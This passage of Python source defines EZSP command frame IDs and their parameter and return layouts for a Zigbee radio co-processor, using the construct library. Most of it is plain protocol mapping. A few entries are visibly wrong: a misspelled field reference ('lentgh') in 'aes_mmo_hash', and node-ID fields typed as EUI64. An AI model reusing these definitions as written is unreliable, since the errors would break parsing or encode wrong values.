"pdOut" / c.Int8ul
)
},
'set_gpio_radio_power_mask': {
'frameId': 0xAE,
'params': c.Sequence(
"mask" / c.Int32ul
)
},
'set_ctune': {
'frameId': 0xF5,
'params': c.Sequence(
"ctune" / c.Int16ul
)
},
'get_ctune': {
'frameId': 0xF6,
'params': None
},
'nop': {
'frameId': 0x05,
'params': None
},
'echo': {
'frameId': 0x81,
'params': c.Sequence(
"dataLength" / c.Int8ul,
"data" / c.Bytes(c.this.dataLength)
)
},
'callback': {
'frameId': 0x06,
'params': None
},
'set_token': {
'frameId': 0x09,
'params': c.Sequence(
"tokenId" / c.Int8ul,
"tokenData" / c.Int64ul
)
},
'get_token': {
'frameId': 0x0A,
'params': c.Sequence(
"tokenId" / c.Int8ul
)
},
'get_mfg_token': {
'frameId': 0x0B,
'params': c.Sequence(
"tokenId" / e.EzspMfgTokenId
)
},
'set_mfg_token': {
'frameId': 0x0C,
'params': c.Sequence(
"tokenId" / e.EzspMfgTokenId,
"tokenDataLength" / c.Int8ul,
"tokenData" / c.Bytes(c.this.tokenDataLength)
)
},
'get_random_number': {
'frameId': 0x49,
'params': None
},
'set_timer': {
'frameId': 0x0E,
'params': c.Sequence(
"timerId" / c.Int8ul,
"time" / c.Int16ul,
"units" / e.EmberEventUnits,
"repeat" / e.EzspBool
)
},
'get_timer': {
'frameId': 0x4E,
'params': c.Sequence(
"timerId" / c.Int8ul
)
},
'debug_write': {
'frameId': 0x12,
'params': c.Sequence(
"binaryMessage" / e.EzspBool,
"messageLength" / c.Int8ul,
"messageContents" / c.Bytes(c.this.messageLength)
)
},
'read_and_clear_counters': {
'frameId': 0x65,
'params': None
},
'read_counters': {
'frameId': 0xF1,
'params': None
},
'delay_test': {
'frameId': 0x9D,
'params': c.Sequence(
"delay" / c.Int16ul
)
},
'get_library_status': {
'frameId': 0x01,
'params': c.Sequence(
"libraryId" / c.Int8ul
)
},
'get_xncp_info': {
'frameId': 0x13,
'params': None
},
'custom_frame': {
'frameId': 0x47,
'params': c.Sequence(
"payloadLength" / c.Int8ul,
"payload" / c.Bytes(c.this.payloadLength)
)
},
'get_eui64': {
'frameId': 0x26,
'params': None
},
'get_node_id': {
'frameId': 0x27,
'params': None
},
'get_phy_interface_count': {
'frameId': 0xFC,
'params': None
},
'set_manufacturer_code': {
'frameId': 0x15,
'params': c.Sequence(
"code" / c.Int16ul
)
},
'set_power_descriptor': {
'frameId': 0x16,
'params': c.Sequence(
"descriptor" / c.Int16ul
)
},
'network_init': {
'frameId': 0x17,
'params': c.Sequence(
"networkInitStruct" / e.EmberNetworkInitStruct
)
},
'network_state': {
'frameId': 0x18,
'params': None
},
'start_scan': {
'frameId': 0x1A,
'params': c.Sequence(
"scanType" / e.EzspNetworkScanType,
"channelMask" / c.Int32ul,
"duration" / c.Int8ul
)
},
'find_unused_pan_id': {
'frameId': 0xD3,
'params': c.Sequence(
"channelMask" / c.Int32ul,
"duration" / c.Int8ul
)
},
'stop_scan': {
'frameId': 0x1D,
'params': None
},
'form_network': {
'frameId': 0x1E,
'params': c.Sequence(
"parameters" / e.EmberNetworkParameters
)
},
'join_network': {
'frameId': 0x1F,
'params': c.Sequence(
"nodeType" / e.EmberNodeType,
"parameters" / e.EmberNetworkParameters
)
},
'leave_network': {
'frameId': 0x20,
'params': None
},
'find_and_rejoin_network': {
'frameId': 0x21,
'params': c.Sequence(
"haveCurrentNetworkKey" / e.EzspBool,
"channelMask" / c.Int32ul
)
},
'permit_joining': {
'frameId': 0x22,
'params': c.Sequence(
"duration" / c.Int8ul
)
},
'energy_scan_request': {
'frameId': 0x9C,
'params': c.Sequence(
"target" / e.EmberNodeId,
"scanChannels" / c.Int32ul,
"scanDuration" / c.Int8ul,
"scanCount" / c.Int16ul
)
},
'get_network_parameters': {
'frameId': 0x28,
'params': None
},
'get_radio_parameters': {
'frameId': 0xFD,
'params': c.Sequence(
"childCount" / c.Int8ul
)
},
'get_parent_child_parameters': {
'frameId': 0x29,
'params': None
},
'get_child_data': {
'frameId': 0x4A,
'params': c.Sequence(
"index" / c.Int8ul
)
},
'get_source_route_table_total_size': {
'frameId': 0xC3,
'params': None
},
'get_source_route_table_filled_size': {
'frameId': 0xC2,
'params': None
},
'get_source_route_table_entry': {
'frameId': 0xC1,
'params': c.Sequence(
"index" / c.Int8ul
)
},
'get_neighbor': {
'frameId': 0x79,
'params': c.Sequence(
"index" / c.Int8ul
)
},
'set_routing_shortcut_threshold': {
'frameId': 0xD0,
'params': c.Sequence(
"costThresh" / c.Int8ul
)
},
'get_routing_shortcut_threshold': {
'frameId': 0xD1,
'params': None
},
'neighbor_count': {
'frameId': 0x7A,
'params': None
},
'get_route_table_entry': {
'frameId': 0x7B,
'params': c.Sequence(
"index" / c.Int8ul
)
},
'set_radio_power': {
'frameId': 0x99,
'params': c.Sequence(
"power" / c.Int8sl
)
},
'set_radio_channel': {
'frameId': 0x9A,
'params': c.Sequence(
"channel" / c.Int8ul
)
},
'set_concentrator': {
'frameId': 0x10,
'params': c.Sequence(
"on" / e.EzspBool,
"concentratorType" / c.Int16ul,
"minTime" / c.Int16ul,
"maxTime" / c.Int16ul,
"routeErrorThreshold" / c.Int8ul,
"deliveryFailureThreshold" / c.Int8ul,
"maxHops" / c.Int8ul
)
},
'set_broken_route_error_code': {
'frameId': 0x11,
'params': c.Sequence(
"errorCode" / c.Int8ul
)
},
'multi_phy_start': {
'frameId': 0xF8,
'params': c.Sequence(
"phyIndex" / c.Int8ul,
"page" / c.Int8ul,
"channel" / c.Int8ul,
"power" / c.Int8sl,
"bitmask" / e.EmberMultiPhyNwkConfig
)
},
'multi_phy_stop': {
'frameId': 0xF9,
'params': c.Sequence(
"phyIndex" / c.Int8ul,
)
},
'multi_phy_set_radio_power': {
'frameId': 0xFA,
'params': c.Sequence(
"phyIndex" / c.Int8ul,
"power" / c.Int8sl,
)
},
'send_link_power_delta_request': {
'frameId': 0xF7,
'params': None
},
'multi_phy_set_radio_channel': {
'frameId': 0xFB,
'params': c.Sequence(
"phyIndex" / c.Int8ul,
"page" / c.Int8ul,
"channel" / c.Int8ul
)
},
'get_duty_cycle_state': {
'frameId': 0x35,
'params': None
},
'set_duty_cycle_limits_in_stack': {
'frameId': 0x40,
'params': c.Sequence(
"limits" / e.EmberDutyCycleLimits,
)
},
'get_duty_cycle_limits': {
'frameId': 0x4B,
'params': None
},
'get_current_duty_cycle': {
'frameId': 0x4C,
'params': c.Sequence(
"maxDevices" / c.Int8ul
)
},
'clear_binding_table': {
'frameId': 0x2A,
'params': None
},
'set_binding': {
'frameId': 0x2B,
'params': c.Sequence(
"index" / c.Int8ul,
"value" / e.EmberBindingTableEntry
)
},
'get_binding': {
'frameId': 0x2C,
'params': c.Sequence(
"index" / c.Int8ul
)
},
'delete_binding': {
'frameId': 0x2D,
'params': c.Sequence(
"index" / c.Int8ul
)
},
'binding_is_active': {
'frameId': 0x2E,
'params': c.Sequence(
"index" / c.Int8ul
)
},
'get_binding_remote_node_id': {
'frameId': 0x2F,
'params': c.Sequence(
"index" / c.Int8ul
)
},
'set_binding_remote_node_id': {
'frameId': 0x30,
'params': c.Sequence(
"index" / c.Int8ul,
"nodeId" / e.EmberNodeId
)
},
'maximum_payload_length': {
'frameId': 0x33,
'params': None
},
'send_unicast': {
'frameId': 0x34,
'params': c.Sequence(
"type" / e.EmberOutgoingMessageType,
"indexOrDestination" / e.EmberNodeId,
"apsFrame" / e.EmberApsFrame,
"messageTag" / c.Int8ul,
"messageLength" / c.Int8ul,
"messageContents" / c.Bytes(c.this.messageLength)
)
},
'send_broadcast': {
'frameId': 0x36,
'params': c.Sequence(
"destination" / e.EmberNodeId,
"apsFrame" / e.EmberApsFrame,
"radius" / c.Int8ul,
"messageTag" / c.Int8ul,
"messageLength" / c.Int8ul,
"messageContents" / c.Bytes(c.this.messageLength)
)
},
'proxy_broadcast': {
'frameId': 0x37,
'params': c.Sequence(
"source" / e.EmberNodeId,
"destination" / e.EmberNodeId,
"nwkSequence" / c.Int8ul,
"apsFrame" / e.EmberApsFrame,
"radius" / c.Int8ul,
"messageTag" / c.Int8ul,
"messageLength" / c.Int8ul,
"messageContents" / c.Bytes(c.this.messageLength)
)
},
'send_multicast': {
'frameId': 0x38,
'params': c.Sequence(
"apsFrame" / e.EmberApsFrame,
"hops" / c.Int8ul,
"nonmemberRadius" / c.Int8ul,
"messageTag" / c.Int8ul,
"messageLength" / c.Int8ul,
"messageContents" / c.Bytes(c.this.messageLength)
)
},
'send_multicast_with_alias': {
'frameId': 0x3A,
'params': c.Sequence(
"apsFrame" / e.EmberApsFrame,
"hops" / c.Int8ul,
"nonmemberRadius" / c.Int8ul,
"alias" / c.Int16ul,
"nwkSequence" / c.Int8ul,
"messageTag" / c.Int8ul,
"messageLength" / c.Int8ul,
"messageContents" / c.Bytes(c.this.messageLength)
)
},
'send_reply': {
'frameId': 0x39,
'params': c.Sequence(
"sender" / e.EmberNodeId,
"apsFrame" / e.EmberApsFrame,
"messageLength" / c.Int8ul,
"messageContents" / c.Bytes(c.this.messageLength)
)
},
'send_many_to_one_route_request': {
'frameId': 0x41,
'params': c.Sequence(
"concentratorType" / c.Int16ul,
"radius" / c.Int8ul
)
},
'poll_for_data': {
'frameId': 0x42,
'params': c.Sequence(
"interval" / c.Int16ul,
"units" / e.EmberEventUnits,
"failureLimit" / c.Int8ul
)
},
'set_source_route': {
'frameId': 0x5A,
'params': c.Sequence(
"destination" / e.EmberNodeId,
"relayCount" / c.Int8ul,
"relayList" / c.Bytes(c.this.relayCount)
)
},
'address_table_entry_is_active': {
'frameId': 0x5B,
'params': c.Sequence(
"addressTableIndex" / c.Int8ul
)
},
'set_address_table_remote_eui64': {
'frameId': 0x5C,
'params': c.Sequence(
"addressTableIndex" / c.Int8ul,
"eui64" / e.EmberEUI64
)
},
'set_address_table_remote_node_id': {
'frameId': 0x5D,
'params': c.Sequence(
"addressTableIndex" / c.Int8ul,
"eui64" / e.EmberEUI64
)
},
'get_address_table_remote_eui64': {
'frameId': 0x5E,
'params': c.Sequence(
"addressTableIndex" / c.Int8ul
)
},
'get_address_table_remote_node_id': {
'frameId': 0x5F,
'params': c.Sequence(
"addressTableIndex" / c.Int8ul
)
},
'set_extended_timeout': {
'frameId': 0x7E,
'params': c.Sequence(
"remoteEui64" / e.EmberEUI64,
"extendedTimeout" / e.EzspBool
)
},
'get_extended_timeout': {
'frameId': 0x7F,
'params': c.Sequence(
"remoteEui64" / e.EmberEUI64,
)
},
'replace_address_table_entry': {
'frameId': 0x82,
'params': c.Sequence(
"addressTableIndex" / c.Int8ul,
"newEui64" / e.EmberEUI64,
"newId" / e.EmberEUI64,
"newExtendedTimeout" / e.EzspBool
)
},
'lookup_node_id_by_eui64': {
'frameId': 0x60,
'params': c.Sequence(
"eui64" / c.Int64ul
)
},
'lookup_eui64_by_node_id': {
'frameId': 0x61,
'params': c.Sequence(
"nodeId" / e.EmberNodeId
)
},
'get_multicast_table_entry': {
'frameId': 0x63,
'params': c.Sequence(
"index" / c.Int8ul
)
},
'set_multicast_table_entry': {
'frameId': 0x64,
'params': c.Sequence(
"index" / c.Int8ul,
"value" / e.EmberMulticastTableEntry
)
},
'write_node_data': {
'frameId': 0xFE,
'params': c.Sequence(
"erase" / e.EzspBool
)
},
'send_raw_message': {
'frameId': 0x96,
'params': c.Sequence(
"messageLength" / c.Int8ul,
"messageContents" / c.Bytes(c.this.messageLength)
)
},
'set_initial_security_state': {
'frameId': 0x68,
'params': c.Sequence(
"state" / e.EmberInitialSecurityState
)
},
'get_current_security_state': {
'frameId': 0x69,
'params': None
},
'get_key': {
'frameId': 0x6a,
'params': c.Sequence(
"keyType" / e.EmberKeyType
)
},
'get_key_table_entry': {
'frameId': 0x71,
'params': c.Sequence(
"index" / c.Int8ul
)
},
'set_key_table_entry': {
'frameId': 0x72,
'params': c.Sequence(
"index" / c.Int8ul,
"address" / e.EmberEUI64,
"linkKey" / e.EzspBool,
"keyData" / e.EmberKeyData
)
},
'find_key_table_entry': {
'frameId': 0x75,
'params': c.Sequence(
"address" / e.EmberEUI64,
"linkKey" / e.EzspBool
)
},
'add_or_update_key_table_entry': {
'frameId': 0x66,
'params': c.Sequence(
"address" / e.EmberEUI64,
"linkKey" / e.EzspBool,
"keyData" / e.EmberKeyData
)
},
'send_trust_center_link_key': {
'frameId': 0x67,
'params': c.Sequence(
"destinationNodeId" / e.EmberNodeId,
"destinationEui64" / e.EmberEUI64
)
},
'erase_key_table_entry': {
'frameId': 0x76,
'params': c.Sequence(
"index" / c.Int8ul,
)
},
'clear_key_table': {
'frameId': 0xB1,
'params': None
},
'request_link_key': {
'frameId': 0x14,
'params': c.Sequence(
"partner" / e.EmberEUI64
)
},
'add_transient_link_key': {
'frameId': 0xAF,
'params': c.Sequence(
"partner" / e.EmberEUI64,
"transientKey" / e.EmberKeyData
)
},
'clear_transient_link_keys': {
'frameId': 0x6B,
'params': None
},
'get_transient_link_key': {
'frameId': 0xCE,
'params': c.Sequence(
"eui" / e.EmberEUI64
)
},
'broadcast_next_network_key': {
'frameId': 0x73,
'params': c.Sequence(
"key" / e.EmberKeyData
)
},
'broadcast_network_key_switch': {
'frameId': 0x74,
'params': None
},
'become_trust_center': {
'frameId': 0x77,
'params': c.Sequence(
"newNetworkKey" / e.EmberKeyData
)
},
'aes_mmo_hash': {
'frameId': 0x6F,
'params': c.Sequence(
"context" / e.EmberAesMmoHashContext,
"finalize" / e.EzspBool,
"length" / c.Int8ul,
"data" / c.Bytes(c.this.lentgh)
)
},
'remove_device': {
'frameId': 0xA8,
'params': c.Sequence(
"destShort" / e.EmberNodeId,
"destLong" / e.EmberEUI64,
"targetLong" / e.EmberEUI64
)
},
'unicast_nwk_key_update': {
'frameId': 0xA9,
'params': c.Sequence(
"destShort" / e.EmberNodeId,
"destLong" / e.EmberEUI64,
"key" / e.EmberKeyData
)
},
'generate_cbke_keys': {
'frameId': 0xA4,
'params': None
},
'calculate_smacs': {
'frameId': 0x9F,
'params': c.Sequence(
"amInitiator" / e.EzspBool,
"partnerCertificate" / e.EmberCertificateData,
"partnerEphemeralPublicKey" / e.EmberPublicKeyData
)
},
'generate_cbke_keys283k1': {
'frameId': 0xE8,
'params': None
},
'calculate_smacs283k1': {
'frameId': 0xEA,
'params': c.Sequence(
"amInitiator" / e.EzspBool,
"partnerCertificate" / e.EmberCertificate283k1Data,
"partnerEphemeralPublicKey" / e.EmberPublicKey283k1Data
)
},
'clear_temporary_data_maybe_store_link_key': {
'frameId': 0xA1,
'params': c.Sequence(
"storeLinkKey" / e.EzspBool
)
},
'clear_temporary_data_maybe_store_link_key283K1': {
'frameId': 0xEE,
'params': c.Sequence(
"storeLinkKey" / e.EzspBool
)
},
'get_certificate': {
'frameId': 0xA5,
'params': None
},
'get_certificate283k1': {
'frameId': 0xEC,
'params': None
},
'dsa_sign': {
'frameId': 0xA6,
'params': c.Sequence(
"messageLength" / c.Int8ul,
"messageContents" / c.Bytes(c.this.messageLength)
)
},
'dsa_verify': {
'frameId': 0xA3,
'params': c.Sequence(
"digest" / e.EmberMessageDigest,
"signerCertificate" / e.EmberCertificateData,
"receivedSig" / e.EmberSignatureData
)
},
'dsa_verify283k1': {
'frameId': 0xB0,
'params': c.Sequence(
"digest" / e.EmberMessageDigest,
"signerCertificate" / e.EmberCertificate283k1Data,
"receivedSig" / e.EmberSignature283k1Data
)
},
'set_preinstalled_cbke_data': {
'frameId': 0xA2,
'params': c.Sequence(
"caPublic" / e.EmberPublicKeyData,
"myCert" / e.EmberCertificateData,
"myKey" / e.EmberPrivateKeyData
)
},
'save_preinstalled_cbke_data283k1': {
'frameId': 0xED,
'params': c.Sequence(
"caPublic" / e.EmberPublicKey283k1Data,
"myCert" / e.EmberCertificate283k1Data,
"myKey" / e.EmberPrivateKey283k1Data
)
},
'mfglib_start': {
'frameId': 0x83,
'params': c.Sequence(
"rxCallback" / e.EzspBool
)
},
'mfglib_end': {
'frameId': 0x84,
'params': None
},
'mfglib_start_tone': {
'frameId': 0x85,
'params': None
},
'mfglib_stop_tone': {
'frameId': 0x86,
'params': None
},
'mfglib_start_stream': {
'frameId': 0x87,
'params': None
},
'mfglib_stop_stream': {
'frameId': 0x88,
'params': None
},
'mfglib_send_packet': {
'frameId': 0x89,
'params': c.Sequence(
"packetLength" / c.Int8ul,
"packetContent" / c.Bytes(c.this.packetLength)
)
},
'mfglib_set_channel': {
'frameId': 0x8a,
'params': c.Sequence(
"channel" / c.Int8ul
)
},
'mfglib_get_channel': {
'frameId': 0x8b,
'params': None
},
'mfglib_set_power': {
'frameId': 0x8c,
'params': c.Sequence(
"txPowerMode" / c.Int16ul,
"power" / c.Int8sl
)
},
'mfglib_get_power': {
'frameId': 0x8d,
'params': None
},
'launch_standalone_bootloader': {
'frameId': 0x8f,
'params': c.Sequence(
"mode" / c.Int8ul
)
},
'send_bootload_message': {
'frameId': 0x90,
'params': c.Sequence(
"broadcast" / e.EzspBool,
"destEui64" / e.EmberEUI64,
"messageLength" / c.Int8ul,
"messageContents" / c.Bytes(c.this.messageLength)
)
},
'get_standalone_bootloader_version_plat_miCRO_PHY': {
'frameId': 0x91,
'params': None
},
'aes_encrypt': {
'frameId': 0x94,
'params': c.Sequence(
"plaintext" / c.Bytes(16),
"key" / c.Bytes(16)
)
},
'override_current_channel': {
'frameId': 0x95,
'params': c.Sequence(
"channel" / c.Int8ul
)
},
'zll_network_ops': {
'frameId': 0xB2,
'params': c.Sequence(
"networkInfo" / e.EmberZllNetwork,
"op" / e.EzspZllNetworkOperation,
"radioTxPower" / c.Int8sl
)
},
'zll_set_initial_security_state': {
'frameId': 0xB3,
'params': c.Sequence(
"networkKey" / e.EmberKeyData,
"securityState" / e.EmberZllInitialSecurityState
)
},
'zll_set_security_state_without_key': {
'frameId': 0xCF,
'params': c.Sequence(
"securityState" / e.EmberZllInitialSecurityState
)
},
'zll_start_scan': {
'frameId': 0xB4,
'params': c.Sequence(
"channelMask" / c.Int32ul,
"radioPowerForScan" / c.Int8sl,
"nodeType" / e.EmberNodeType
)
},
'zll_set_rx_on_when_idle': {
'frameId': 0xB5,
'params': c.Sequence(
"durationMs" / c.Int32ul
)
},
'set_logical_and_radio_channel': {
'frameId': 0xB9,
'params': c.Sequence(
"radioChannel" / c.Int8ul,
)
},
'get_logical_channel': {
'frameId': 0xBA,
'params': None
},
'zll_get_tokens': {
'frameId': 0xBC,
'params': None
},
'zll_set_data_token': {
'frameId': 0xBD,
'params': c.Sequence(
"data" / e.EmberTokTypeStackZllSecurity
)
},
'zll_set_non_zll_network': {
'frameId': 0xBF,
'params': None
},
'is_zll_network': {
'frameId': 0xBE,
'params': None
},
'zll_set_radio_idle_mode': {
'frameId': 0xD4,
'params': c.Sequence(
"mode" / e.EmberRadioPowerMode
)
},
'set_zll_node_type': {
'frameId': 0xD5,
'params': c.Sequence(
"nodeType" / e.EmberNodeType
)
},
'set_zll_additional_state': {
'frameId': 0xD6,
'params': c.Sequence(
"state" / c.Int16ul
)
},
'zll_operation_in_progress': {
'frameId': 0xD7,
'params': None
},
'zll_rx_on_when_idle_get_active': {
'frameId': 0xD8,
'params': None
},
'gp_proxy_table_process_gp_pairing': {
'frameId': 0xC9,
'params': c.Sequence(
"options" / c.Int32ul,
"addr" / e.EmberGpAddress,
"commMode" / c.Int8ul,
"sinkNetworkAddress" / c.Int16ul,
"sinkGroupId" / c.Int16ul,
"assignedAlias" / c.Int16ul,
"sinkIeeeAddress" / c.Int64ul,
"gpdKey" / e.EmberKeyData
)
},
'd_gp_send': {
'frameId': 0xC6,
'params': c.Sequence(
"action" / e.EzspBool,
"useCca" / e.EzspBool,
"addr" / e.EmberGpAddress,
"gpdCommandId" / c.Int8ul,
"gpdAsduLength" / c.Int8ul,
"gpdAsdu" / c.Bytes(c.this.gpdAsduLength),
"gpepHandle" / c.Int8ul,
"gpTxQueueEntryLifetimeMs" / c.Int16ul
)
},
'gp_proxy_table_get_entry': {
'frameId': 0xC8,
'params': c.Sequence(
"proxyIndex" / c.Int8ul
)
},
'gp_proxy_table_lookup': {
'frameId': 0xC0,
'params': c.Sequence(
"addr" / e.EmberGpAddress
)
},
'set_security_key': {
'frameId': 0xCA,
'params': c.Sequence(
"key" / e.EmberKeyData,
"securityType" / e.SecureEzspSecurityType
)
},
'set_security_parameters': {
'frameId': 0xCB,
'params': c.Sequence(
"securityLevel" / e.SecureEzspSecurityLevel,
"hostRandomNumber" / e.SecureEzspRandomNumber
)
},
'reset_to_factory_defaults': {
'frameId': 0xCC,
'params': None
},
'get_security_key_status': {
'frameId': 0xCD,
'params': None
}
}
_EZSP_PARSE = {
0x00: {
'name': 'version',
'return': c.Struct(
"protocolVersion" / c.Int8ul,
"stackType" / c.Int8ul,
"stackVersion" / c.Int16ul
)
},
0x52: {
'name': 'get_configuration_value',
'return': c.Struct(
"status" / e.EzspStatus,
"value" / c.Int16ul
)
},
0x53: {
'name': 'set_configuration_value',
'return': c.Struct(
"status" / e.EzspStatus
)
},
0x02: {
'name': 'add_endpoint',
'return': c.Struct(
"status" / e.EzspStatus
)
},
0x55: {
'name': 'set_policy',
'return': c.Struct(
"status" / e.EzspStatus
)
},
0x56: {
'name': 'get_policy',
'return': c.Struct(
"status" / e.EzspStatus,
"decisionId" / e.EzspDecisionId
)
},
0xAA: {
'name': 'get_value',
'return': c.Struct(
"status" / e.EzspStatus,
"valueLength" / c.Int8ul,
"value" / c.Bytes(c.this.valueLength)
)
},
0x03: {
'name': 'get_extended_value',
'return': c.Struct(
"status" / e.EzspStatus,
"valueLength" / c.Int8ul,
"value" / c.Bytes(c.this.valueLength)
)
},
0xAB: {
'name': 'set_value',
'return': c.Struct(
"status" / e.EzspStatus
)
},
0xAC: {
'name': 'set_gpio_current_configuration',
'return': c.Struct(
"status" / e.EzspStatus
)
},
0xAD: {
'name': 'set_gpio_power_up_down_configuration',
'return': c.Struct(
"status" / e.EzspStatus
)
},
0xAE: {
'name': 'set_gpio_radio_power_mask',
'return': None
},
0xF5: {
'name': 'set_ctune',
'return': None
},
0xF6: {
'name': 'get_ctune',
'return': c.Struct(
"ctune" / c.Int16ul
)
},
0x05: {
'name': 'nop',
'return': None
},
0x81: {
'name': 'echo',
'return': c.Struct(
"echoLength" / c.Int8ul,
"echo" / c.Bytes(c.this.echoLength)
)
},
0x06: {
'name': 'callback',
'return': None
},
0x09: {
'name': 'set_token',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x0A: {
'name': 'get_token',
'return': c.Struct(
"status" / e.EmberStatus,
"tokenData" / c.Int64ul
)
},
0x0B: {
'name': 'get_mfg_token',
'return': c.Struct(
"tokenDataLength" / c.Int8ul,
"tokenData" / c.Bytes(c.this.tokenDataLength)
)
},
0x0C: {
'name': 'set_mfg_token',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x49: {
'name': 'get_random_number',
'return': c.Struct(
"status" / e.EmberStatus,
"value" / c.Int16ul
)
},
0x0E: {
'name': 'set_timer',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x4E: {
'name': 'get_timer',
'return': c.Struct(
"time" / c.Int16ul,
"units" / e.EmberEventUnits,
"repeat" / e.EzspBool
)
},
0x12: {
'name': 'debug_write',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x65: {
'name': 'read_and_clear_counters',
'return': c.Struct(
"values" / c.Array(40, c.Int16ul)
)
},
0xF1: {
'name': 'read_counters',
'return': c.Struct(
"values" / c.Array(40, c.Int16ul)
)
},
0xF2: {
'name': 'counter_rollover_handler',
'return': c.Struct(
"type" / e.EmberCounterType
)
},
0x9D: {
'name': 'delay_test',
'return': None
},
0x01: {
'name': 'get_library_status',
'return': c.Struct(
"status" / e.EmberLibraryStatus
)
},
0x13: {
'name': 'get_xncp_info',
'return': c.Struct(
"status" / e.EmberStatus,
"manufacturerId" / c.Int16ul,
"versionNumber" / c.Int16ul
)
},
0x47: {
'name': 'custom_frame',
'return': c.Struct(
"status" / e.EmberStatus,
"replyLength" / c.Int8ul,
"reply" / c.Bytes(c.this.replyLength)
)
},
0x26: {
'name': 'get_eui64',
'return': c.Struct(
"eui64" / e.EmberEUI64
)
},
0x27: {
'name': 'get_node_id',
'return': c.Struct(
"nodeId" / e.EmberNodeId
)
},
0xFC: {
'name': 'get_phy_interface_count',
'return': c.Struct(
"interfaceCount" / c.Int8ul
)
},
0x15: {
'name': 'set_manufacturer_code',
'return': c.Struct(
"code" / c.Int16ul
)
},
0x16: {
'name': 'set_power_descriptor',
'return': None
},
0x17: {
'name': 'network_init',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x18: {
'name': 'network_state',
'return': c.Struct(
"status" / e.EmberNetworkStatus
)
},
0x1A: {
'name': 'start_scan',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0xD3: {
'name': 'find_unused_pan_id',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x1D: {
'name': 'stop_scan',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x1E: {
'name': 'form_network',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x1F: {
'name': 'join_network',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x20: {
'name': 'leave_network',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x21: {
'name': 'find_and_rejoin_network',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x22: {
'name': 'permit_joining',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x9C: {
'name': 'energy_scan_request',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x28: {
'name': 'get_network_parameters',
'return': c.Struct(
"status" / e.EmberStatus,
"nodeType" / e.EmberNodeType,
"parameters" / e.EmberNetworkParameters
)
},
0xFD: {
'name': 'get_radio_parameters',
'return': c.Struct(
"status" / e.EmberStatus,
"nodeType" / e.EmberNodeType,
"parameters" / e.EmberNetworkParameters
)
},
0x29: {
'name': 'get_parent_child_parameters',
'return': c.Struct(
"childCount" / c.Int8ul,
"parentEui64" / e.EmberEUI64,
"parentNodeId" / e.EmberNodeId
)
},
0x4A: {
'name': 'get_child_data',
'return': c.Struct(
"status" / e.EmberStatus,
"childData" / e.EmberChildData
)
},
0xC3: {
'name': 'get_source_route_table_total_size',
'return': c.Struct(
"sourceRouteTableTotalSize" / c.Int8ul
)
},
0xC2: {
'name': 'get_source_route_table_filled_size',
'return': c.Struct(
"sourceRouteTableFilledSize" / c.Int8ul
)
},
0xC1: {
'name': 'get_source_route_table_entry',
'return': c.Struct(
"status" / e.EmberStatus,
"destination" / e.EmberNodeId,
"closerIndex" / c.Int8ul
)
},
0x79: {
'name': 'get_neighbor',
'return': c.Struct(
"status" / e.EmberStatus,
"value" / e.EmberNeighborTableEntry
)
},
0xD0: {
'name': 'set_routing_shortcut_threshold',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0xD1: {
'name': 'get_routing_shortcut_threshold',
'return': c.Struct(
"routingShortcutThresh" / c.Int8ul
)
},
0x7A: {
'name': 'neighbor_count',
'return': c.Struct(
"value" / c.Int8ul
)
},
0x7B: {
'name': 'get_route_table_entry',
'return': c.Struct(
"status" / e.EmberStatus,
"value" / e.EmberRouteTableEntry
)
},
0x99: {
'name': 'set_radio_power',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x9A: {
'name': 'set_radio_channel',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x10: {
'name': 'set_concentrator',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x11: {
'name': 'set_broken_route_error_code',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0xF8: {
'name': 'multi_phy_start',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0xF9: {
'name': 'multi_phy_stop',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0xFA: {
'name': 'multi_phy_set_radio_power',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0xF7: {
'name': 'send_link_power_delta_request',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0xFB: {
'name': 'multi_phy_set_radio_channel',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x35: {
'name': 'get_duty_cycle_state',
'return': c.Struct(
"status" / e.EmberStatus,
"returnedState" / e.EmberDutyCycleState
)
},
0x40: {
'name': 'set_duty_cycle_limits_in_stack',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x4B: {
'name': 'get_duty_cycle_limits',
'return': c.Struct(
"status" / e.EmberStatus,
"returnedLimits" / e.EmberDutyCycleLimits
)
},
0x4C: {
'name': 'get_current_duty_cycle',
'return': c.Struct(
"status" / e.EmberStatus,
"arrayOfDeviceCycles" / c.Bytes(134)
)
},
0x2A: {
'name': 'clear_binding_table',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x2B: {
'name': 'set_binding',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x2C: {
'name': 'get_binding',
'return': c.Struct(
"status" / e.EmberStatus,
"value" / e.EmberBindingTableEntry
)
},
0x2D: {
'name': 'delete_binding',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x2E: {
'name': 'binding_is_active',
'return': c.Struct(
"active" / e.EzspBool
)
},
0x2F: {
'name': 'get_binding_remote_node_id',
'return': c.Struct(
"nodeId" / e.EmberNodeId
)
},
0x30: {
'name': 'set_binding_remote_node_id',
'return': c.Struct(
"index" / c.Int8ul,
"nodeId" / e.EmberNodeId
)
},
0x33: {
'name': 'maximum_payload_length',
'return': c.Struct(
"apsLength" / c.Int8ul
)
},
0x34: {
'name': 'send_unicast',
'return': c.Struct(
"status" / e.EmberStatus,
"sequence" / c.Int8ul
)
},
0x36: {
'name': 'send_broadcast',
'return': c.Struct(
"status" / e.EmberStatus,
"sequence" / c.Int8ul
)
},
0x37: {
